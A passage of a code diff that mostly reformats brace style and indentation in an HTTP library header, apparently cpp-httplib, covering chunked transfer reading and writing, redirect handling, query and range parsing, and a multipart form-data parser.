(!line_reader.getline()) { return false; } - - unsigned long chunk_len; - while (true) { - char *end_ptr; - - chunk_len = std::strtoul(line_reader.ptr(), &end_ptr, 16); - - if (end_ptr == line_reader.ptr()) { return false; } - if (chunk_len == ULONG_MAX) { return false; } - - if (chunk_len == 0) { break; } - - if (!read_content_with_length(strm, chunk_len, nullptr, out)) { - return false; + if (!line_reader.getline()) { + return false; } - if (!line_reader.getline()) { return false; } + unsigned long chunk_len; + while (true) { + char *end_ptr; - if (strcmp(line_reader.ptr(), "\r\n") != 0) { return false; } + chunk_len = std::strtoul(line_reader.ptr(), &end_ptr, 16); - if (!line_reader.getline()) { return false; } - } + if (end_ptr == line_reader.ptr()) { + return false; + } + if (chunk_len == ULONG_MAX) { + return false; + } - assert(chunk_len == 0); + if (chunk_len == 0) { + break; + } - // Trailer - if (!line_reader.getline()) { return false; } + if (!read_content_with_length(strm, chunk_len, nullptr, out)) { + return false; + } - while (strcmp(line_reader.ptr(), "\r\n") != 0) { - if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; } + if (!line_reader.getline()) { + return false; + } - // Exclude line terminator - constexpr auto line_terminator_len = 2; - auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; + if (strcmp(line_reader.ptr(), "\r\n") != 0) { + return false; + } - parse_header(line_reader.ptr(), end, - [&](std::string &&key, std::string &&val) { - x.headers.emplace(std::move(key), std::move(val)); - }); + if (!line_reader.getline()) { + return false; + } + } - if (!line_reader.getline()) { return false; } - } + assert(chunk_len == 0); - return true; + // Trailer + if (!line_reader.getline()) { + return false; + } + + while (strcmp(line_reader.ptr(), "\r\n") != 0) { + if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { + return false; + } + + // Exclude line terminator + constexpr auto line_terminator_len = 2; + auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; + + parse_header(line_reader.ptr(), end, + [&](std::string &&key, std::string &&val) { + x.headers.emplace(std::move(key), std::move(val)); + }); + + if (!line_reader.getline()) { + return false; + } + } + + return true; } -inline bool is_chunked_transfer_encoding(const Headers &headers) { - return !strcasecmp(get_header_value(headers, "Transfer-Encoding", 0, ""), - "chunked"); +inline bool is_chunked_transfer_encoding(const Headers &headers) +{ + return !strcasecmp(get_header_value(headers, "Transfer-Encoding", 0, ""), + "chunked"); } template bool prepare_content_receiver(T &x, int &status, ContentReceiverWithProgress receiver, - bool decompress, U callback) { - if (decompress) { - std::string encoding = x.get_header_value("Content-Encoding"); - std::unique_ptr decompressor; + bool decompress, U callback) +{ + if (decompress) { + std::string encoding = x.get_header_value("Content-Encoding"); + std::unique_ptr decompressor; - if (encoding == "gzip" || encoding == "deflate") { + if (encoding == "gzip" || encoding == "deflate") { #ifdef CPPHTTPLIB_ZLIB_SUPPORT - decompressor = detail::make_unique(); + decompressor = detail::make_unique(); #else - status = StatusCode::UnsupportedMediaType_415; - return false; + status = StatusCode::UnsupportedMediaType_415; + return false; #endif - } else if (encoding.find("br") != std::string::npos) { + } else if (encoding.find("br") != std::string::npos) { #ifdef CPPHTTPLIB_BROTLI_SUPPORT - decompressor = detail::make_unique(); + decompressor = detail::make_unique(); #else - status = StatusCode::UnsupportedMediaType_415; - return false; + status = StatusCode::UnsupportedMediaType_415; + return false; #endif + } + + if (decompressor) { + if (decompressor->is_valid()) { + ContentReceiverWithProgress out = [&](const char *buf, size_t n, + uint64_t off, uint64_t len) { + return decompressor->decompress(buf, n, + [&](const char *buf2, size_t n2) { + return receiver(buf2, n2, off, len); + }); + }; + return callback(std::move(out)); + } else { + status = StatusCode::InternalServerError_500; + return false; + } + } } - if (decompressor) { - if (decompressor->is_valid()) { - ContentReceiverWithProgress out = [&](const char *buf, size_t n, - uint64_t off, uint64_t len) { - return decompressor->decompress(buf, n, - [&](const char *buf2, size_t n2) { - return receiver(buf2, n2, off, len); - }); - }; - return callback(std::move(out)); - } else { - status = StatusCode::InternalServerError_500; - return false; - } - } - } - - ContentReceiverWithProgress out = [&](const char *buf, size_t n, uint64_t off, - uint64_t len) { - return receiver(buf, n, off, len); - }; - return callback(std::move(out)); + ContentReceiverWithProgress out = [&](const char *buf, size_t n, uint64_t off, + uint64_t len) { + return receiver(buf, n, off, len); + }; + return callback(std::move(out)); } template bool read_content(Stream &strm, T &x, size_t payload_max_length, int &status, Progress progress, ContentReceiverWithProgress receiver, - bool decompress) { - return prepare_content_receiver( - x, status, std::move(receiver), decompress, - [&](const ContentReceiverWithProgress &out) { + bool decompress) +{ + return prepare_content_receiver( + x, status, std::move(receiver), decompress, + [&](const ContentReceiverWithProgress &out) { auto ret = true; auto exceed_payload_max_length = false; if (is_chunked_transfer_encoding(x.headers)) { - ret = read_content_chunked(strm, x, out); + ret = read_content_chunked(strm, x, out); } else if (!has_header(x.headers, "Content-Length")) { - ret = read_content_without_length(strm, out); + ret = read_content_without_length(strm, out); } else { - auto len = get_header_value_u64(x.headers, "Content-Length", 0, 0); - if (len > payload_max_length) { - exceed_payload_max_length = true; - skip_content_with_length(strm, len); - ret = false; - } else if (len > 0) { - ret = read_content_with_length(strm, len, std::move(progress), out); - } + auto len = get_header_value_u64(x.headers, "Content-Length", 0, 0); + if (len > payload_max_length) { + exceed_payload_max_length = true; + skip_content_with_length(strm, len); + ret = false; + } else if (len > 0) { + ret = read_content_with_length(strm, len, std::move(progress), out); + } } if (!ret) { - status = exceed_payload_max_length ? StatusCode::PayloadTooLarge_413 - : StatusCode::BadRequest_400; + status = exceed_payload_max_length ? StatusCode::PayloadTooLarge_413 + : StatusCode::BadRequest_400; } return ret; - }); + }); } // namespace detail -inline ssize_t write_headers(Stream &strm, const Headers &headers) { - ssize_t write_len = 0; - for (const auto &x : headers) { - auto len = - strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str()); - if (len < 0) { return len; } +inline ssize_t write_headers(Stream &strm, const Headers &headers) +{ + ssize_t write_len = 0; + for (const auto &x : headers) { + auto len = + strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str()); + if (len < 0) { + return len; + } + write_len += len; + } + auto len = strm.write("\r\n"); + if (len < 0) { + return len; + } write_len += len; - } - auto len = strm.write("\r\n"); - if (len < 0) { return len; } - write_len += len; - return write_len; + return write_len; } -inline bool write_data(Stream &strm, const char *d, size_t l) { - size_t offset = 0; - while (offset < l) { - auto length = strm.write(d + offset, l - offset); - if (length < 0) { return false; } - offset += static_cast(length); - } - return true; +inline bool write_data(Stream &strm, const char *d, size_t l) +{ + size_t offset = 0; + while (offset < l) { + auto length = strm.write(d + offset, l - offset); + if (length < 0) { + return false; + } + offset += static_cast(length); + } + return true; } template inline bool write_content(Stream &strm, const ContentProvider &content_provider, size_t offset, size_t length, T is_shutting_down, - Error &error) { - size_t end_offset = offset + length; - auto ok = true; - DataSink data_sink; + Error &error) +{ + size_t end_offset = offset + length; + auto ok = true; + DataSink data_sink; - data_sink.write = [&](const char *d, size_t l) -> bool { - if (ok) { - if (strm.is_writable() && write_data(strm, d, l)) { - offset += l; - } else { - ok = false; - } + data_sink.write = [&](const char *d, size_t l) -> bool { + if (ok) + { + if (strm.is_writable() && write_data(strm, d, l)) { + offset += l; + } else { + ok = false; + } + } + return ok; + }; + + data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; + + while (offset < end_offset && !is_shutting_down()) { + if (!strm.is_writable()) { + error = Error::Write; + return false; + } else if (!content_provider(offset, end_offset - offset, data_sink)) { + error = Error::Canceled; + return false; + } else if (!ok) { + error = Error::Write; + return false; + } } - return ok; - }; - data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; - - while (offset < end_offset && !is_shutting_down()) { - if (!strm.is_writable()) { - error = Error::Write; - return false; - } else if (!content_provider(offset, end_offset - offset, data_sink)) { - error = Error::Canceled; - return false; - } else if (!ok) { - error = Error::Write; - return false; - } - } - - error = Error::Success; - return true; + error = Error::Success; + return true; } template inline bool write_content(Stream &strm, const ContentProvider &content_provider, size_t offset, size_t length, - const T &is_shutting_down) { - auto error = Error::Success; - return write_content(strm, content_provider, offset, length, is_shutting_down, - error); + const T &is_shutting_down) +{ + auto error = Error::Success; + return write_content(strm, content_provider, offset, length, is_shutting_down, + error); } template inline bool write_content_without_length(Stream &strm, const ContentProvider &content_provider, - const T &is_shutting_down) { - size_t offset = 0; - auto data_available = true; - auto ok = true; - DataSink data_sink; + const T &is_shutting_down) +{ + size_t offset = 0; + auto data_available = true; + auto ok = true; + DataSink data_sink; - data_sink.write = [&](const char *d, size_t l) -> bool { - if (ok) { - offset += l; - if (!strm.is_writable() || !write_data(strm, d, l)) { ok = false; } + data_sink.write = [&](const char *d, size_t l) -> bool { + if (ok) + { + offset += l; + if (!strm.is_writable() || !write_data(strm, d, l)) { + ok = false; + } + } + return ok; + }; + + data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; + + data_sink.done = [&](void) { + data_available = false; + }; + + while (data_available && !is_shutting_down()) { + if (!strm.is_writable()) { + return false; + } else if (!content_provider(offset, 0, data_sink)) { + return false; + } else if (!ok) { + return false; + } } - return ok; - }; - - data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; - - data_sink.done = [&](void) { data_available = false; }; - - while (data_available && !is_shutting_down()) { - if (!strm.is_writable()) { - return false; - } else if (!content_provider(offset, 0, data_sink)) { - return false; - } else if (!ok) { - return false; - } - } - return true; + return true; } template inline bool write_content_chunked(Stream &strm, const ContentProvider &content_provider, - const T &is_shutting_down, U &compressor, Error &error) { - size_t offset = 0; - auto data_available = true; - auto ok = true; - DataSink data_sink; + const T &is_shutting_down, U &compressor, Error &error) +{ + size_t offset = 0; + auto data_available = true; + auto ok = true; + DataSink data_sink; - data_sink.write = [&](const char *d, size_t l) -> bool { - if (ok) { - data_available = l > 0; - offset += l; + data_sink.write = [&](const char *d, size_t l) -> bool { + if (ok) + { + data_available = l > 0; + offset += l; - std::string payload; - if (compressor.compress(d, l, false, - [&](const char *data, size_t data_len) { - payload.append(data, data_len); - return true; - })) { - if (!payload.empty()) { - // Emit chunked response header and footer for each chunk - auto chunk = - from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; - if (!strm.is_writable() || - !write_data(strm, chunk.data(), chunk.size())) { + std::string payload; + if (compressor.compress(d, l, false, + [&](const char *data, size_t data_len) { + payload.append(data, data_len); + return true; + })) { + if (!payload.empty()) { + // Emit chunked response header and footer for each chunk + auto chunk = + from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; + if (!strm.is_writable() || + !write_data(strm, chunk.data(), chunk.size())) { + ok = false; + } + } + } else { + ok = false; + } + } + return ok; + }; + + data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; + + auto done_with_trailer = [&](const Headers *trailer) { + if (!ok) { + return; + } + + data_available = false; + + std::string payload; + if (!compressor.compress(nullptr, 0, true, + [&](const char *data, size_t data_len) { + payload.append(data, data_len); + return true; + })) { ok = false; - } + return; } - } else { - ok = false; - } - } - return ok; - }; - data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; - - auto done_with_trailer = [&](const Headers *trailer) { - if (!ok) { return; } - - data_available = false; - - std::string payload; - if (!compressor.compress(nullptr, 0, true, - [&](const char *data, size_t data_len) { - payload.append(data, data_len); - return true; - })) { - ok = false; - return; - } - - if (!payload.empty()) { - // Emit chunked response header and footer for each chunk - auto chunk = from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; - if (!strm.is_writable() || - !write_data(strm, chunk.data(), chunk.size())) { - ok = false; - return; - } - } - - static const std::string done_marker("0\r\n"); - if (!write_data(strm, done_marker.data(), done_marker.size())) { - ok = false; - } - - // Trailer - if (trailer) { - for (const auto &kv : *trailer) { - std::string field_line = kv.first + ": " + kv.second + "\r\n"; - if (!write_data(strm, field_line.data(), field_line.size())) { - ok = false; + if (!payload.empty()) { + // Emit chunked response header and footer for each chunk + auto chunk = from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; + if (!strm.is_writable() || + !write_data(strm, chunk.data(), chunk.size())) { + ok = false; + return; + } + } + + static const std::string done_marker("0\r\n"); + if (!write_data(strm, done_marker.data(), done_marker.size())) { + ok = false; + } + + // Trailer + if (trailer) { + for (const auto &kv : *trailer) { + std::string field_line = kv.first + ": " + kv.second + "\r\n"; + if (!write_data(strm, field_line.data(), field_line.size())) { + ok = false; + } + } + } + + static const std::string crlf("\r\n"); + if (!write_data(strm, crlf.data(), crlf.size())) { + ok = false; + } + }; + + data_sink.done = [&](void) { + done_with_trailer(nullptr); + }; + + data_sink.done_with_trailer = [&](const Headers &trailer) { + done_with_trailer(&trailer); + }; + + while (data_available && !is_shutting_down()) { + if (!strm.is_writable()) { + error = Error::Write; + return false; + } else if (!content_provider(offset, 0, data_sink)) { + error = Error::Canceled; + return false; + } else if (!ok) { + error = Error::Write; + return false; } - } } - static const std::string crlf("\r\n"); - if (!write_data(strm, crlf.data(), crlf.size())) { ok = false; } - }; - - data_sink.done = [&](void) { done_with_trailer(nullptr); }; - - data_sink.done_with_trailer = [&](const Headers &trailer) { - done_with_trailer(&trailer); - }; - - while (data_available && !is_shutting_down()) { - if (!strm.is_writable()) { - error = Error::Write; - return false; - } else if (!content_provider(offset, 0, data_sink)) { - error = Error::Canceled; - return false; - } else if (!ok) { - error = Error::Write; - return false; - } - } - - error = Error::Success; - return true; + error = Error::Success; + return true; } template inline bool write_content_chunked(Stream &strm, const ContentProvider &content_provider, - const T &is_shutting_down, U &compressor) { - auto error = Error::Success; - return write_content_chunked(strm, content_provider, is_shutting_down, - compressor, error); + const T &is_shutting_down, U &compressor) +{ + auto error = Error::Success; + return write_content_chunked(strm, content_provider, is_shutting_down, + compressor, error); } template inline bool redirect(T &cli, Request &req, Response &res, const std::string &path, const std::string &location, - Error &error) { - Request new_req = req; - new_req.path = path; - new_req.redirect_count_ -= 1; + Error &error) +{ + Request new_req = req; + new_req.path = path; + new_req.redirect_count_ -= 1; - if (res.status == StatusCode::SeeOther_303 && - (req.method != "GET" && req.method != "HEAD")) { - new_req.method = "GET"; - new_req.body.clear(); - new_req.headers.clear(); - } - - Response new_res; - - auto ret = cli.send(new_req, new_res, error); - if (ret) { - req = new_req; - res = new_res; - - if (res.location.empty()) { res.location = location; } - } - return ret; -} - -inline std::string params_to_query_str(const Params ¶ms) { - std::string query; - - for (auto it = params.begin(); it != params.end(); ++it) { - if (it != params.begin()) { query += "&"; } - query += it->first; - query += "="; - query += encode_query_param(it->second); - } - return query; -} - -inline void parse_query_text(const std::string &s, Params ¶ms) { - std::set cache; - split(s.data(), s.data() + s.size(), '&', [&](const char *b, const char *e) { - std::string kv(b, e); - if (cache.find(kv) != cache.end()) { return; } - cache.insert(kv); - - std::string key; - std::string val; - split(b, e, '=', [&](const char *b2, const char *e2) { - if (key.empty()) { - key.assign(b2, e2); - } else { - val.assign(b2, e2); - } - }); - - if (!key.empty()) { - params.emplace(decode_url(key, true), decode_url(val, true)); + if (res.status == StatusCode::SeeOther_303 && + (req.method != "GET" && req.method != "HEAD")) { + new_req.method = "GET"; + new_req.body.clear(); + new_req.headers.clear(); } - }); + + Response new_res; + + auto ret = cli.send(new_req, new_res, error); + if (ret) { + req = new_req; + res = new_res; + + if (res.location.empty()) { + res.location = location; + } + } + return ret; +} + +inline std::string params_to_query_str(const Params ¶ms) +{ + std::string query; + + for (auto it = params.begin(); it != params.end(); ++it) { + if (it != params.begin()) { + query += "&"; + } + query += it->first; + query += "="; + query += encode_query_param(it->second); + } + return query; +} + +inline void parse_query_text(const std::string &s, Params ¶ms) +{ + std::set cache; + split(s.data(), s.data() + s.size(), '&', [&](const char *b, const char *e) { + std::string kv(b, e); + if (cache.find(kv) != cache.end()) { + return; + } + cache.insert(kv); + + std::string key; + std::string val; + split(b, e, '=', [&](const char *b2, const char *e2) { + if (key.empty()) { + key.assign(b2, e2); + } else { + val.assign(b2, e2); + } + }); + + if (!key.empty()) { + params.emplace(decode_url(key, true), decode_url(val, true)); + } + }); } inline bool parse_multipart_boundary(const std::string &content_type, - std::string &boundary) { - auto boundary_keyword = "boundary="; - auto pos = content_type.find(boundary_keyword); - if (pos == std::string::npos) { return false; } - auto end = content_type.find(';', pos); - auto beg = pos + strlen(boundary_keyword); - boundary = trim_double_quotes_copy(content_type.substr(beg, end - beg)); - return !boundary.empty(); -} - -inline void parse_disposition_params(const std::string &s, Params ¶ms) { - std::set cache; - split(s.data(), s.data() + s.size(), ';', [&](const char *b, const char *e) { - std::string kv(b, e); - if (cache.find(kv) != cache.end()) { return; } - cache.insert(kv); - - std::string key; - std::string val; - split(b, e, '=', [&](const char *b2, const char *e2) { - if (key.empty()) { - key.assign(b2, e2); - } else { - val.assign(b2, e2); - } - }); - - if (!key.empty()) { - params.emplace(trim_double_quotes_copy((key)), - trim_double_quotes_copy((val))); + std::string &boundary) +{ + auto boundary_keyword = "boundary="; + auto pos = content_type.find(boundary_keyword); + if (pos == std::string::npos) { + return false; } - }); + auto end = content_type.find(';', pos); + auto beg = pos + strlen(boundary_keyword); + boundary = trim_double_quotes_copy(content_type.substr(beg, end - beg)); + return !boundary.empty(); } -#ifdef CPPHTTPLIB_NO_EXCEPTIONS -inline bool parse_range_header(const std::string &s, Ranges &ranges) { -#else -inline bool parse_range_header(const std::string &s, Ranges &ranges) try { -#endif - static auto re_first_range = std::regex(R"(bytes=(\d*-\d*(?:,\s*\d*-\d*)*))"); - std::smatch m; - if (std::regex_match(s, m, re_first_range)) { - auto pos = static_cast(m.position(1)); - auto len = static_cast(m.length(1)); - auto all_valid_ranges = true; - split(&s[pos], &s[pos + len], ',', [&](const char *b, const char *e) { - if (!all_valid_ranges) { return; } - static auto re_another_range = std::regex(R"(\s*(\d*)-(\d*))"); - std::cmatch cm; - if (std::regex_match(b, e, cm, re_another_range)) { - ssize_t first = -1; - if (!cm.str(1).empty()) { - first = static_cast(std::stoll(cm.str(1))); +inline void parse_disposition_params(const std::string &s, Params ¶ms) +{ + std::set cache; + split(s.data(), s.data() + s.size(), ';', [&](const char *b, const char *e) { + std::string kv(b, e); + if (cache.find(kv) != cache.end()) { + return; } + cache.insert(kv); - ssize_t last = -1; - if (!cm.str(2).empty()) { - last = static_cast(std::stoll(cm.str(2))); - } - - if (first != -1 && last != -1 && first > last) { - all_valid_ranges = false; - return; - } - ranges.emplace_back(std::make_pair(first, last)); - } - }); - return all_valid_ranges; - } - return false; -#ifdef CPPHTTPLIB_NO_EXCEPTIONS -} -#else -} catch (...) { return false; } -#endif - -class MultipartFormDataParser { -public: - MultipartFormDataParser() = default; - - void set_boundary(std::string &&boundary) { - boundary_ = boundary; - dash_boundary_crlf_ = dash_ + boundary_ + crlf_; - crlf_dash_boundary_ = crlf_ + dash_ + boundary_; - } - - bool is_valid() const { return is_valid_; } - - bool parse(const char *buf, size_t n, const ContentReceiver &content_callback, - const MultipartContentHeader &header_callback) { - - buf_append(buf, n); - - while (buf_size() > 0) { - switch (state_) { - case 0: { // Initial boundary - buf_erase(buf_find(dash_boundary_crlf_)); - if (dash_boundary_crlf_.size() > buf_size()) { return true; } - if (!buf_start_with(dash_boundary_crlf_)) { return false; } - buf_erase(dash_boundary_crlf_.size()); - state_ = 1; - break; - } - case 1: { // New entry - clear_file_info(); - state_ = 2; - break; - } - case 2: { // Headers - auto pos = buf_find(crlf_); - if (pos > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; } - while (pos < buf_size()) { - // Empty line - if (pos == 0) { - if (!header_callback(file_)) { - is_valid_ = false; - return false; + std::string key; + std::string val; + split(b, e, '=', [&](const char *b2, const char *e2) { + if (key.empty()) { + key.assign(b2, e2); + } else { + val.assign(b2, e2); } - buf_erase(crlf_.size()); - state_ = 3; - break; - } + }); - const auto header = buf_head(pos); + if (!key.empty()) { + params.emplace(trim_double_quotes_copy((key)), + trim_double_quotes_copy((val))); + } + }); +} - if (!parse_header(header.data(), header.data() + header.size(), - [&](std::string &&, std::string &&) {})) { - is_valid_ = false; - return false; - } - - static const std::string header_content_type = "Content-Type:"; - - if (start_with_case_ignore(header, header_content_type)) { - file_.content_type = - trim_copy(header.substr(header_content_type.size())); - } else { - static const std::regex re_content_disposition( - R"~(^Content-Disposition:\s*form-data;\s*(.*)$)~", - std::regex_constants::icase); - - std::smatch m; - if (std::regex_match(header, m, re_content_disposition)) { - Params params; - parse_disposition_params(m[1], params); - - auto it = params.find("name"); - if (it != params.end()) { - file_.name = it->second; - } else { - is_valid_ = false; - return false; - } - - it = params.find("filename"); - if (it != params.end()) { file_.filename = it->second; } - - it = params.find("filename*"); - if (it != params.end()) { - // Only allow UTF-8 enconnding... - static const std::regex re_rfc5987_encoding( - R"~(^UTF-8''(.+?)$)~", std::regex_constants::icase); - - std::smatch m2; - if (std::regex_match(it->second, m2, re_rfc5987_encoding)) { - file_.filename = decode_url(m2[1], false); // override... - } else { - is_valid_ = false; - return false; +#ifdef CPPHTTPLIB_NO_EXCEPTIONS +inline bool parse_range_header(const std::string &s, Ranges &ranges) +{ +#else +inline bool parse_range_header(const std::string &s, Ranges &ranges) try +{ +#endif + static auto re_first_range = std::regex(R"(bytes=(\d*-\d*(?:,\s*\d*-\d*)*))"); + std::smatch m; + if (std::regex_match(s, m, re_first_range)) { + auto pos = static_cast(m.position(1)); + auto len = static_cast(m.length(1)); + auto all_valid_ranges = true; + split(&s[pos], &s[pos + len], ',', [&](const char *b, const char *e) { + if (!all_valid_ranges) { + return; + } + static auto re_another_range = std::regex(R"(\s*(\d*)-(\d*))"); + std::cmatch cm; + if (std::regex_match(b, e, cm, re_another_range)) { + ssize_t first = -1; + if (!cm.str(1).empty()) { + first = static_cast(std::stoll(cm.str(1))); } - } + + ssize_t last = -1; + if (!cm.str(2).empty()) { + last = static_cast(std::stoll(cm.str(2))); + } + + if (first != -1 && last != -1 && first > last) { + all_valid_ranges = false; + return; + } + ranges.emplace_back(std::make_pair(first, last)); } - } - buf_erase(pos + crlf_.size()); - pos = buf_find(crlf_); - } - if (state_ != 3) { return true; } - break; - } - case 3: { // Body - if (crlf_dash_boundary_.size() > buf_size()) { return true; } - auto pos = buf_find(crlf_dash_boundary_); - if (pos < buf_size()) { - if (!content_callback(buf_data(), pos)) { - is_valid_ = false; - return false; - } - buf_erase(pos + crlf_dash_boundary_.size()); - state_ = 4; - } else { - auto len = buf_size() - crlf_dash_boundary_.size(); - if (len > 0) { - if (!content_callback(buf_data(), len)) { - is_valid_ = false; - return false; - } - buf_erase(len); - } - return true; - } - break; - } - case 4: { // Boundary - if (crlf_.size() > buf_size()) { return true; } - if (buf_start_with(crlf_)) { - buf_erase(crlf_.size()); - state_ = 1; - } else { - if (dash_.size() > buf_size()) { return true; } - if (buf_start_with(dash_)) { - buf_erase(dash_.size()); - is_valid_ = true; - buf_erase(buf_size()); // Remove epilogue - } else { - return true; - } - } - break; - } - } + }); + return all_valid_ranges; + } + return false; +#ifdef CPPHTTPLIB_NO_EXCEPTIONS +} +#else +} catch (...) +{ + return false; +} +#endif + +class MultipartFormDataParser +{ +public: + MultipartFormDataParser() = default; + + void set_boundary(std::string &&boundary) + { + boundary_ = boundary; + dash_boundary_crlf_ = dash_ + boundary_ + crlf_; + crlf_dash_boundary_ = crlf_ + dash_ + boundary_; } - return true; - } + bool is_valid() const + { + return is_valid_; + } + + bool parse(const char *buf, size_t n, const ContentReceiver &content_callback, + const MultipartContentHeader &header_callback) + { + + buf_append(buf, n); + + while (buf_size() > 0) { + switch (state_) { + case 0: { // Initial boundary + buf_erase(buf_find(dash_boundary_crlf_)); + if (dash_boundary_crlf_.size() > buf_size()) { + return true; + } + if (!buf_start_with(dash_boundary_crlf_)) { + return false; + } + buf_erase(dash_boundary_crlf_.size()); + state_ = 1; + break; + } + case 1: { // New entry + clear_file_info(); + state_ = 2; + break; + } + case 2: { // Headers + auto pos = buf_find(crlf_); + if (pos > CPPHTTPLIB_HEADER_MAX_LENGTH) { + return false; + } + while (pos < buf_size()) { + // Empty line + if (pos == 0) { + if (!header_callback(file_)) { + is_valid_ = false; + return false; + } + buf_erase(crlf_.size()); + state_ = 3; + break; + } + + const auto header = buf_head(pos); + + if (!parse_header(header.data(), header.data() + header.size(), + [&](std::string &&, std::string &&) {})) { + is_valid_ = false; + return false; + } + + static const std::string header_content_type = "Content-Type:"; + + if (start_with_case_ignore(header, header_content_type)) { + file_.content_type = + trim_copy(header.substr(header_content_type.size())); + } else { + static const std::regex re_content_disposition( + R"~(^Content-Disposition:\s*form-data;\s*(.*)$)~", + std::regex_constants::icase); + + std::smatch m; + if (std::regex_match(header, m, re_content_disposition)) { + Params params; + parse_disposition_params(m[1], params); + + auto it = params.find("name"); + if (it != params.end()) { + file_.name = it->second; + } else { + is_valid_ = false; + return false; + } + + it = params.find("filename"); + if (it != params.end()) { + file_.filename = it->second; + } + + it = params.find("filename*"); + if (it != params.end()) { + // Only allow UTF-8 enconnding... + static const std::regex re_rfc5987_encoding( + R"~(^UTF-8''(.+?)$)~", std::regex_constants::icase); + + std::smatch m2; + if (std::regex_match(it->second, m2, re_rfc5987_encoding)) { + file_.filename = decode_url(m2[1], false); // override... + } else { + is_valid_ = false; + return false; + } + } + } + } + buf_erase(pos + crlf_.size()); + pos = buf_find(crlf_); + } + if (state_ != 3) { + return true; + } + break; + } + case 3: { // Body + if (crlf_dash_boundary_.size() > buf_size()) { + return true; + } + auto pos = buf_find(crlf_dash_boundary_); + if (pos < buf_size()) { + if (!content_callback(buf_data(), pos)) { + is_valid_ = false; + return false; + } + buf_erase(pos + crlf_dash_boundary_.size()); + state_ = 4; + } else { + auto len = buf_size() - crlf_dash_boundary_.size(); + if (len > 0) { + if (!content_callback(buf_data(), len)) { + is_valid_ = false; + return false; + } + buf_erase(len); + } + return true; + } + break; + } + case 4: { // Boundary + if (crlf_.size() > buf_size()) { + return true; + } + if (buf_start_with(crlf_)) { + buf_erase(crlf_.size()); + state_ = 1; + } else { + if (dash_.size() > buf_size()) { + return true; + } + if (buf_start_with(dash_)) { + buf_erase(dash_.size()); + is_valid_ = true; + buf_erase(buf_size()); // Remove epilogue + } else { + return true; + } + } + break; + } + } + } + + return true; + } private: - void clear_file_info() { - file_.name.clear(); - file_.filename.clear(); - file_.content_type.clear(); - } - - bool start_with_case_ignore(const std::string &a, - const std::string &b) const { - if (a.size() < b.size()) { return false; } - for (size_t i = 0; i < b.size(); i++) { - if (::tolower(a[i]) != ::tolower(b[i])) { return false; } - } - return true; - } - - const std::string dash_ = "--"; - const std::string crlf_ = "\r\n"; - std::string boundary_; - std::string dash_boundary_crlf_; - std::string crlf_dash_boundary_; - - size_t state_ = 0; - bool is_valid_ = false; - MultipartFormData file_; - - // Buffer - bool start_with(const std::string &a, size_t spos, size_t epos, - const std::string &b) const { - if (epos - spos < b.size()) { return false; } - for (size_t i = 0; i < b.size(); i++) { - if (a[i + spos] != b[i]) { return false; } - } - return true; - } - - size_t buf_size() const { return buf_epos_ - buf_spos_; } - - const char *buf_data() const { return &buf_[buf_spos_]; } - - std::string buf_head(size_t l) const { return buf_.substr(buf_spos_, l); } - - bool buf_start_with(const std::string &s) const { - return start_with(buf_, buf_spos_, buf_epos_, s); - } - - size_t buf_find(const std::string &s) const { - auto c = s.front(); - - size_t off = buf_spos_; - while (off < buf_epos_) { - auto pos = off; - while (true) { - if (pos == buf_epos_) { return buf_size(); } - if (buf_[pos] == c) { break; } - pos++; - } - - auto remaining_size = buf_epos_ - pos; - if (s.size() > remaining_size) { return buf_size(); } - - if (start_with(buf_, pos, buf_epos_, s)) { return pos - buf_spos_; } - - off = pos + 1; + void clear_file_info() + { + file_.name.clear(); + file_.filename.clear(); + file_.content_type.clear(); } - return buf_size(); - } - - void buf_append(const char *data, size_t n) { - auto remaining_size = buf_size(); - if (remaining_size > 0 && buf_spos_ > 0) { - for (size_t i = 0; i < remaining_size; i++) { - buf_[i] = buf_[buf_spos_ + i]; - } + bool start_with_case_ignore(const std::string &a, + const std::string &b) const + { + if (a.size() < b.size()) { + return false; + } + for (size_t i = 0; i < b.size(); i++) { + if (::tolower(a[i]) != ::tolower(b[i])) { + return false; + } + } + return true; } - buf_spos_ = 0; - buf_epos_ = remaining_size; - if (remaining_size + n > buf_.size()) { buf_.resize(remaining_size + n); } + const std::string dash_ = "--"; + const std::string crlf_ = "\r\n"; + std::string boundary_; + std::string dash_boundary_crlf_; + std::string crlf_dash_boundary_; - for (size_t i = 0; i < n; i++) { - buf_[buf_epos_ + i] = data[i]; + size_t state_ = 0; + bool is_valid_ = false; + MultipartFormData file_; + + // Buffer + bool start_with(const std::string &a, size_t spos, size_t epos, + const std::string &b) const + { + if (epos - spos < b.size()) { + return false; + } + for (size_t i = 0; i < b.size(); i++) { + if (a[i + spos] != b[i]) { + return false; + } + } + return true; } - buf_epos_ += n; - } - void buf_erase(size_t size) { buf_spos_ += size; } + size_t buf_size() const + { + return buf_epos_ - buf_spos_; + } - std::string buf_; - size_t buf_spos_ = 0; - size_t buf_epos_ = 0; + const char *buf_data() const + { + return &buf_[buf_spos_]; + } + + std::string buf_head(size_t l) const + { + return buf_.substr(buf_spos_, l); + } + + bool buf_start_with(const std::string &s) const + { + return start_with(buf_, buf_spos_, buf_epos_, s); + } + + size_t buf_find(const std::string &s) const + { + auto c = s.front(); + + size_t off = buf_spos_; + while (off < buf_epos_) { + auto pos = off; + while (true) { + if (pos == buf_epos_) { + return buf_size(); + } + if (buf_[pos] == c) { + break; + } + pos++; + } + + auto remaining_size = buf_epos_ - pos; + if (s.size() > remaining_size) { + return buf_size(); + } + + if (start_with(buf_, pos, buf_epos_, s)) { + return pos - buf_spos_; + } + + off = pos + 1; + } + + return buf_size(); + } + + void buf_append(const char *data, size_t n) + { + auto remaining_size = buf_size(); + if (remaining_size > 0 && buf_spos_ > 0) { + for (size_t i = 0; i < 